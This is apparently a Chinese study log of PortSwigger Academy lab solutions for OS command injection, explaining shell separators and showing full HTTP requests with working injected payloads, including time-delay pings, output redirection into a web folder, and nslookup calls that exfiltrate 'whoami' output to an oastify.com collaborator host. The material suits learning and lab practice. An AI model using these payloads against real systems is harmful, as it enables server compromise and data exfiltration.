#前言:学习记录

什么是OS命令注入漏洞?

操作系统命令注入(也称为 shell 注入)是一种 Web 安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统 (OS) 命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用操作系统命令注入漏洞来危害托管基础设施的其他部分,利用信任关系将攻击转向组织内的其他系统。(简单点就是,攻击者可以在网站上输入一些操作系统命令,然后服务器返回一些信息,如windows上的cmd linux上的bash.)

常见的命令

命令的目的 Linux windows
当前用户名 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig /all
网络连接 netstat -an netstat -an
正在运行的进程 ps -ef tasklist

注入操作系统命令的方式

各种 shell 元字符可用于执行操作系统命令注入攻击。

许多字符充当命令分隔符,允许将命令链接在一起。以下命令分隔符适用于 Windows 和基于 Unix 的系统:

  • &
  • &&
  • |
  • ||

以下命令分隔符仅适用于基于 Unix 的系统:

  • ;
  • 换行符 (0x0a\n)

在基于 Unix 的系统上,您还可以使用反引号或美元字符在原始命令中执行注入命令的内联执行:

  • ```注入命令```
  • $(注入命令)

靶场

提示:库存检查存在 有shell命令。直接抓包用 | whoami 查看当前用户名。在第一个参数后面添加执行发现没有效果,再次尝试storeID

POST /product/stock HTTP/2
Host: 0a1900bd04154b2f80739f1600f400cc.web-security-academy.net
Cookie: session=Zj3WLRX1i44USkjEo61SzwWlq1KDEX1v
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://0a1900bd04154b2f80739f1600f400cc.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: https://0a1900bd04154b2f80739f1600f400cc.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

productId=1&storeId=1|whoami

响应:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 13

peter-dtm76l

操作系统盲注入命令。

也许这个功能存在os命令注入但是,并不会像上面一样直接返回在响应里。只能借助一些其他手段。

例如:一个允许用户提交有关该网站的反馈的网站。用户输入他们的电子邮件地址和反馈消息。然后,服务器端应用程序会向站点管理员生成一封包含反馈的电子邮件。为此,它会向mail程序调用所提交的详细信息。例如:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

命令的输出mail(如果有)不会在应用程序的响应中返回,因此使用有效echo负载不会有效。在这种情况下,您可以使用各种其他技术来检测和利用漏洞。

使用时间延迟检测操作系统盲注入漏洞。

可以使用ping 命令向服务器发送指定数量的数据包,列如你发送了十个数据包刚好响应时间也是十秒。说明了存在os注入漏洞。

ping -c 10 127.0.0.1(此命令将导致应用程序对其环回网络适配器执行 ping 操作 10 秒。)

靶场提示,反馈功能中存在os命令注入漏洞。抓反馈功能的提交数据包。

POST /feedback/submit HTTP/2
Host: 0a8900cd04c41e2783f5618b0037007c.web-security-academy.net
Cookie: session=S1ncxBNd2GtKULOiaUb8Fg4hJZ50Ds80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
Origin: https://0a8900cd04c41e2783f5618b0037007c.web-security-academy.net
Referer: https://0a8900cd04c41e2783f5618b0037007c.web-security-academy.net/feedback
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrf=0v7lNP4ubazJJKADatV8GznxgWXhtkkW&name=dasf&email=dfasfasf%40qq.com||ping+-c+10+127.0.0.1||&subject=fgfg&message=dfadfasdfasdf

等待十秒提示恭喜通关。

通过重定向输出来利用操作系统盲注入漏洞。

您可以将注入命令的输出重定向到 Web 根目录中的文件中,然后可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置提供静态资源/var/www/static,则您可以提交以下输入:

& whoami > /var/www/static/whoami.txt &

>字符将命令的输出发送whoami到指定的文件。然后,您可以使用浏览器来https://vulnerable-website.com/whoami.txt获取文件,并查看注入命令的输出。

提示说还是在反馈功能中存在os注入命令。有一个可写文件夹,我们可以把whoami写到/var/www/images/下的文件。在把它读出来。(为什么在email中,可能是因为应用程序对于消息参数可能会进行更严格的验证和处理,从而减少了恶意代码的成功注入机会。但是,如果应用程序没有正确处理邮件参数,攻击者仍然可以尝试在这里执行注入。总之都可以试试)

POST /feedback/submit HTTP/2
Host: 0abe00e30440847e818117b200e20055.web-security-academy.net
Cookie: session=zPuRLMniFyKx7WQpLGXAEw55UymWtTUZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
Origin: https://0abe00e30440847e818117b200e20055.web-security-academy.net
Referer: https://0abe00e30440847e818117b200e20055.web-security-academy.net/feedback
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrf=QMoPRs0ZiFKaiOIsvgdT2riRIrUTDGwN&name=fdfd&email=dfasfasf%40qq.com||whoami>/var/www/images/1.txt||&subject=dfsf&message=dfsdf

读取(文件读取参数 filenmae)

GET /image?filename=1.txt HTTP/2
Host: 0abe00e30440847e818117b200e20055.web-security-academy.net
Cookie: session=zPuRLMniFyKx7WQpLGXAEw55UymWtTUZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://0abe00e30440847e818117b200e20055.web-security-academy.net/product?productId=1
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers

响应

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 13

peter-XO65eB

使用带外 (OAST) 技术来利用操作系统盲命令注入

有时有漏洞却无法查看,这时候就可以借助OSTA技术,就是我们俗称的dnslog在burp 专业版自带。

本关的靶场使用nslookup(nslookup(意为name server lookup)是一个网络管理命令行界面工具,用户可以利用nslookup查询域名]的ip地址以及ip地址所对应的[域名,例如在命令行界面输入nslookup以及网址后,nslookup会发送命令给电脑所连接的域名服务器,随后便能得出网址所映射的IP地址)

我们用nslooup去查看域名dns解析记录,响应就会返回到dnslog上。

靶场提示还是在反馈功能中存在OS命令注入

发送请求,在email中添加dnslog 提供的域名用nslookup 去查看dns解析是否正常

POST /feedback/submit HTTP/2
Host: 0ab000a60393331c80f1ad87005000f1.web-security-academy.net
Cookie: session=YdOaFwCj0gyFBWIckPqoahYOMBnabbea
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: https://0ab000a60393331c80f1ad87005000f1.web-security-academy.net
Referer: https://0ab000a60393331c80f1ad87005000f1.web-security-academy.net/feedback
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrf=AgxYrQ96T7gUF8DOiRdhDLWFRp4K8JZQ&name=sds&email=afdgf%40qqq.com||nslookup+o3s5l1tqv1piz08ugqnh10tbk2qseh.oastify.com||&subject=dfd&message=dfa

成功返回

带外数据泄露的盲操作系统命令注入

靶场提示如上,用nslookup+whoami.域名。 whoami 应该被反引号 包裹起来,这意味着它会被执行并将结果插入到整个命令中。因此,当你运行这个命令时,首先会执行反引号内的 whoami 命令,然后将其结果与 **.**后面的域名 连接起来,最后传递给 nslookup 命令进行执行。最后返回系统用户。

POST /feedback/submit HTTP/2
Host: 0a050043041c9eb2802a3578004300c7.web-security-academy.net
Cookie: session=gLmJrmUmIIBZMTNSFWVaJyhH8t10HFv3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: https://0a050043041c9eb2802a3578004300c7.web-security-academy.net
Referer: https://0a050043041c9eb2802a3578004300c7.web-security-academy.net/feedback
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrf=Zo8hnQTakbpcrH1evkMfBeTOfZmwprEX&name=dfa&email=afdgf%40qqq.com||nslookup+`whoami`.ygizbth39q1cmis7oh149oxdy44usj.oastify.com||&subject=adf&message=afd

如结果所示whoami命令被执行了,后面是域名。

提交即可。